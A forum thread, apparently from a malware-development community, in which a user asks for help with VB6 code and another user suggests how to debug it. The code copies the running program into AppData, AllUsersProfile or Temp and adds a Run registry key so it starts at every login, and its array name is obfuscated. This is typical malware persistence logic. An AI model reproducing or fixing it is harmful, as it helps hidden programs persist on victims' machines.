Locked startup and install problem with code

[MasterVb6]

Hello guys i have problems with install or startup in code,im not sure where is error

 

here my code

 

If AOSO§NOe§¬OS§S†¬†ONA¬O¬S¬ZSI†Ze†¬cA(1) = 1 Then

dir = AOSO§NOe§¬OS§S†¬†ONA¬O¬S¬ZSI†Ze†¬cA(3)

If AOSO§NOe§¬OS§S†¬†ONA¬O¬S¬ZSI†Ze†¬cA(2) = "appdata" Then path2 = Environ("AppData") & "\" & dir & "\"

If AOSO§NOe§¬OS§S†¬†ONA¬O¬S¬ZSI†Ze†¬cA(2) = "user" Then path2 = Environ("AllUsersProfile") & "\" & dir & "\"

If AOSO§NOe§¬OS§S†¬†ONA¬O¬S¬ZSI†Ze†¬cA(2) = "temp" Then path2 = Environ("tmp") & "\" & dir & "\"

path = AOSO§NOe§¬OS§S†¬†ONA¬O¬S¬ZSI†Ze†¬cA(4)

Desinatz = path2 & path

Call CoPiTo(Desinatz, path2)

 

Set Wsh = CreateObject("WScript.shell")

Wsh.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & path, path2 & path, "REG_SZ"

Else

End If

 

 

 

Function CoPiTo(ByVal Destinaq As String, ByVal Pathi As String) As String

If Not dir(Destinaq) <> "" Then

MkDir Pathi

FileCopy sMyPath, Destinaq

End If

End Function

 

but when i try to use stratup and install i get this error and i dont know how to fix

 

http://

This is the hidden content, please

• Sign In
• or
• Sign Up

[top10]

Re: startup and install problem with code

 

for get the error quit first the registry,try only with the filecopy and use msgbox with the path choosen to view te path result,time ago i got this same error in win7 and fixed but dont remember what was the problem exactly.